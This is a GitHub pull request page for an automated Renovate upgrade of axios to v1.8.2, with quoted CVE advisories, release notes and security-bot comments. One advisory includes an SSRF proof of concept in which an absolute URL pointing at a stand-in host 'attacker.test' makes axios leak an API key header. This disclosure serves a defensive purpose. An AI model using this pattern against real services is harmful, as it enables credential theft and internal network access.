Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency axios to v1.8.2 [security] #595

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Nov 11, 2023

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
axios (source) 1.5.1 -> 1.8.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2024-39338

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.9

Compare Source

Reverts
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Contributors to this release

v1.7.7

Compare Source

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

v1.7.6

Compare Source

Bug Fixes
Contributors to this release

v1.7.5

Compare Source

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

v1.7.4

Compare Source

Bug Fixes
Contributors to this release

v1.7.3

Compare Source

Bug Fixes
Contributors to this release

v1.7.2

Compare Source

Bug Fixes
Contributors to this release

v1.7.1

Compare Source

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.0

Compare Source

Features
Bug Fixes
Contributors to this release

v1.6.8

Compare Source

Bug Fixes
  • AxiosHeaders: fix AxiosHeaders conversion to an object during config merging (#​6243) (2656612)
  • import: use named export for EventEmitter; (7320430)
  • vulnerability: update follow-redirects to 1.15.6 (#​6300) (8786e0f)
Contributors to this release

v1.6.7

Compare Source

Bug Fixes
  • capture async stack only for rejections with native error objects; (#​6203) (1a08f90)
Contributors to this release

v1.6.6

Compare Source

Bug Fixes
Contributors to this release

v1.6.5

Compare Source

Bug Fixes
Contributors to this release

v1.6.4

Compare Source

Bug Fixes
  • security: fixed formToJSON prototype pollution vulnerability; (#​6167) (3c0c11c)
  • security: fixed security vulnerability in follow-redirects (#​6163) (75af1cd)
Contributors to this release

v1.6.3

Compare Source

Bug Fixes
Contributors to this release

v1.6.2

Compare Source

Features
  • withXSRFToken: added withXSRFToken option as a workaround to achieve the old withCredentials behavior; (#​6046) (cff9967)
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.
Contributors to this release

v1.6.1

Compare Source

Bug Fixes
  • formdata: fixed content-type header normalization for non-standard browser environments; (#​6056) (dd465ab)
  • platform: fixed emulated browser detection in node.js environment; (#​6055) (3dc8369)
Contributors to this release
PRs
  • feat(withXSRFToken): added withXSRFToken option as a workaround to achieve the old `withCredentials` behavior; ( #​6046 )

📢 This PR added 'withXSRFToken' option as a replacement for old withCredentials behaviour. 
You should now use withXSRFToken along with withCredential to get the old behavior.
This functionality is considered as a fix.

v1.6.0

Compare Source

Bug Fixes
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
Contributors to this release

1.5.1 (2023-09-26)

Bug Fixes
  • adapters: improved adapters loading logic to have clear error messages; (#​5919) (e410779)
  • formdata: fixed automatic addition of the Content-Type header for FormData in non-browser environments; (#​5917) (bc9af51)
  • headers: allow content-encoding header to handle case-insensitive values (#​5890) (#​5892) (4c89f25)
  • types: removed duplicated code (9e62056)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

sonarqubecloud bot commented Dec 3, 2023

Kudos, SonarCloud Quality Gate passed!    Quality Gate passed

Bug A 0 Bugs
Vulnerability A 0 Vulnerabilities
Security Hotspot A 0 Security Hotspots
Code Smell A 0 Code Smells

No Coverage information No Coverage information
No Duplication information No Duplication information

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9ed283a to 76fddd1 Compare January 28, 2024 13:00
@renovate renovate bot changed the title fix(deps): update dependency axios to v1.6.0 [security] fix(deps): update dependency axios to v1.6.0 [security] - autoclosed Feb 20, 2024
@renovate renovate bot closed this Feb 20, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 20, 2024 21:12
@renovate renovate bot changed the title fix(deps): update dependency axios to v1.6.0 [security] - autoclosed fix(deps): update dependency axios to v1.6.0 [security] Feb 21, 2024
@renovate renovate bot reopened this Feb 21, 2024
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 21, 2024 07:32
Copy link

socket-security bot commented Feb 21, 2024

🚨 Potential security issues detected. Learn more about Socket for GitHub ↗︎

To accept the risk, merge this PR and you will not be notified again.

Alert Package NoteSourceCI
Critical CVE npm/[email protected] ⚠︎

View full report↗︎

Next steps

What is a critical CVE?

Contains a Critical Common Vulnerability and Exposure (CVE).

Remove or replace dependencies that include known critical CVEs. Consumers can use dependency overrides or npm audit fix --force to remove vulnerable dependencies.

Take a deeper look at the dependency

Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support [AT] socket [DOT] dev.

Remove the package

If you happen to install a dependency that Socket reports as Known Malware you should immediately remove it and select a different dependency. For other alert types, you may may wish to investigate alternative packages or consider if there are other ways to mitigate the specific risk posed by the dependency.

Mark a package as acceptable risk

To ignore an alert, reply with a comment starting with @SocketSecurity ignore followed by a space separated list of ecosystem/package-name@version specifiers. e.g. @SocketSecurity ignore npm/[email protected] or ignore all packages with @SocketSecurity ignore-all

@renovate renovate bot changed the title fix(deps): update dependency axios to v1.6.0 [security] fix(deps): update dependency axios to v1.6.0 [security] - autoclosed Feb 23, 2024
@renovate renovate bot closed this Feb 23, 2024
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch February 23, 2024 23:31
@renovate renovate bot changed the title fix(deps): update dependency axios to v1.6.0 [security] - autoclosed fix(deps): update dependency axios to v1.6.0 [security] Feb 24, 2024
@renovate renovate bot reopened this Feb 24, 2024
@renovate renovate bot restored the renovate/npm-axios-vulnerability branch February 24, 2024 01:37
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 76fddd1 to 3638b1b Compare February 24, 2024 01:49
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 3638b1b to 4c97754 Compare March 12, 2024 11:51
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4c97754 to bdc8091 Compare March 20, 2024 13:39
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from bdc8091 to 1540fcc Compare March 24, 2024 13:50
Copy link

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
No data about Coverage
No data about Duplication

See analysis details on SonarCloud

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 1540fcc to 4d2cec5 Compare June 4, 2024 12:55
Copy link

sonarqubecloud bot commented Jun 4, 2024

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
No data about Coverage
No data about Duplication

See analysis details on SonarCloud

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4d2cec5 to d21e195 Compare July 21, 2024 12:36
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d21e195 to 19ba76d Compare August 6, 2024 06:21
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 19ba76d to e393293 Compare August 13, 2024 23:23
@renovate renovate bot changed the title fix(deps): update dependency axios to v1.6.0 [security] fix(deps): update dependency axios to v1.7.4 [security] Aug 13, 2024
Copy link

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e393293 to ac04e04 Compare January 23, 2025 19:12
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ac04e04 to 8ed3208 Compare February 9, 2025 15:08
Copy link

socket-security bot commented Feb 9, 2025

New, updated, and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package New capabilities Transitives Size Publisher
npm/@cspotcode/[email protected] filesystem +1 194 kB cspotcode
npm/@one-ini/[email protected] filesystem 0 98 kB hildjj
npm/@prisma/[email protected] None 0 2.71 MB prismabot
npm/@tsconfig/[email protected] None 0 2.39 kB typescript-deploys
npm/@tsconfig/[email protected] None 0 2.5 kB typescript-deploys
npm/@tsconfig/[email protected] None 0 2.39 kB typescript-deploys
npm/@tsconfig/[email protected] None 0 2.45 kB typescript-deploys
npm/[email protected] None 0 16.8 kB dougwilson
npm/[email protected] None 0 11.7 kB andris
npm/[email protected] None 0 7.19 kB raynos
npm/[email protected] None 0 12.9 kB qix
npm/[email protected] None 0 4.42 kB blakeembrey
npm/[email protected] None 0 10 kB rase-
npm/[email protected] None 0 6.9 kB strml
npm/[email protected] None 0 3.1 kB mokesmokes
npm/[email protected] None 0 62.3 kB mikepb
npm/[email protected] None 0 4.26 kB darrachequesne
npm/[email protected] environment, filesystem 0 3.91 kB tony_ado
npm/[email protected] None 0 30.6 kB amitport
npm/[email protected] network Transitive: unsafe +3 434 kB dougwilson
npm/[email protected] None 0 1.33 kB feedic
npm/[email protected] None 0 1.47 kB tjholowaychuk
npm/[email protected] None 0 2.99 kB blakeembrey
npm/[email protected] None 0 62.6 kB feedic
npm/[email protected] Transitive: network +10 2.06 MB jugglinmike
npm/[email protected] environment, filesystem, network 0 438 kB jakub.pawlowicz
npm/[email protected] None 0 2.43 kB tootallnate
npm/[email protected] None 0 7.57 kB nami-doc
npm/[email protected] None 0 1.65 kB coreh
npm/[email protected] environment, filesystem, network 0 15 kB isaacs
npm/[email protected] None 0 19.1 kB dougwilson
npm/[email protected] None 0 10.5 kB dougwilson
npm/[email protected] None 0 3.94 kB natevw
npm/[email protected] None 0 20 kB dougwilson
npm/[email protected] filesystem, unsafe 0 6.25 kB pi0
npm/[email protected] None 0 224 kB feedic
npm/[email protected] None 0 66 kB feedic
npm/[email protected] None +1 16 kB
npm/[email protected] None 0 0 B
npm/[email protected] filesystem 0 9.02 kB dougwilson
npm/[email protected] None 0 2.76 kB iliakan
npm/[email protected] None 0 335 kB kpdecker
npm/[email protected] filesystem Transitive: environment, shell +2 638 kB hildjj
npm/[email protected] None 0 7.86 kB dougwilson
npm/[email protected] None 0 176 kB darrachequesne
npm/[email protected] None 0 39.2 kB darrachequesne
npm/[email protected] environment, network +3 240 kB darrachequesne
npm/[email protected] None 0 6.36 kB sindresorhus
npm/[email protected] None 0 3.66 kB dougwilson
npm/[email protected] environment, filesystem, network Transitive: eval +8 542 kB dougwilson
npm/[email protected] None 0 23.5 kB ljharb
npm/[email protected] environment 0 18.6 kB dougwilson
npm/[email protected] None 0 5.88 kB dougwilson
npm/[email protected] None 0 10.1 kB dougwilson
npm/[email protected] None +1 7.93 kB darrachequesne
npm/[email protected] None 0 2.71 kB shtylman
npm/[email protected] Transitive: filesystem, shell +1 159 kB alexlamsl
npm/[email protected] None 0 909 B
npm/[email protected] None 0 9.3 kB isaacs
npm/[email protected] None 0 42.1 kB whitequark
npm/[email protected] None 0 4.66 kB poying
npm/[email protected] Transitive: filesystem +2 1.06 MB bitwiseman
npm/[email protected] filesystem Transitive: shell +1 162 kB jrit
npm/[email protected] None 0 4.78 kB blakeembrey
npm/[email protected] None 0 335 kB rossj
npm/[email protected] None 0 12.4 kB julien-f
npm/[email protected] None 0 36.6 kB brett
npm/[email protected] None 0 4.89 kB dougwilson
npm/[email protected] network 0 5.29 kB dougwilson
npm/[email protected] None 0 26.6 kB iryusa
npm/[email protected] None 0 4.95 kB iryusa
npm/[email protected] None 0 13 kB iryusa
npm/[email protected] None 0 22.6 kB iryusa
npm/[email protected] filesystem 0 30.3 kB iryusa
npm/[email protected] None 0 16.8 kB iryusa
npm/[email protected] filesystem Transitive: network +6 2.05 MB iryusa
npm/[email protected] None 0 8.08 kB iryusa
npm/[email protected] None 0 11.4 kB iryusa
npm/[email protected] None 0 5.42 kB iryusa
npm/[email protected] None 0 4.25 kB iryusa
npm/[email protected] None 0 4.44 kB iryusa
npm/[email protected] None 0 5.33 kB iryusa
npm/[email protected] None 0 3.92 kB iryusa
npm/[email protected] None 0 5.34 kB iryusa
npm/[email protected] None 0 3.82 kB iryusa
npm/[email protected] None 0 3.13 kB iryusa
npm/[email protected] None 0 19.1 kB iryusa
npm/[email protected] None 0 11.3 kB iryusa
npm/[email protected] None 0 10.2 kB iryusa
npm/[email protected] None 0 35.8 kB iryusa
npm/[email protected] filesystem +2 283 kB iryusa
npm/[email protected] None 0 7.27 kB iryusa
npm/[email protected] None 0 5.36 kB iryusa
npm/[email protected] None 0 21.3 kB iryusa
npm/[email protected] None 0 24.4 kB iryusa
npm/[email protected] None 0 5.34 kB iryusa
npm/[email protected] None 0 9.02 kB iryusa
npm/[email protected] None 0 8.48 kB iryusa
npm/[email protected] None 0 30 kB iryusa
npm/[email protected] None 0 8.06 kB iryusa
npm/[email protected] None 0 10.5 kB iryusa
npm/[email protected] None 0 30.8 kB blakeembrey

🚮 Removed packages: npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected], npm/[email protected]

View full report↗︎

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 8ed3208 to 55d0bf9 Compare March 3, 2025 14:44
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 55d0bf9 to 5fb9d0d Compare March 8, 2025 16:50
@renovate renovate bot changed the title fix(deps): update dependency axios to v1.7.4 [security] fix(deps): update dependency axios to v1.8.2 [security] Mar 8, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 5fb9d0d to 8918768 Compare March 13, 2025 17:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants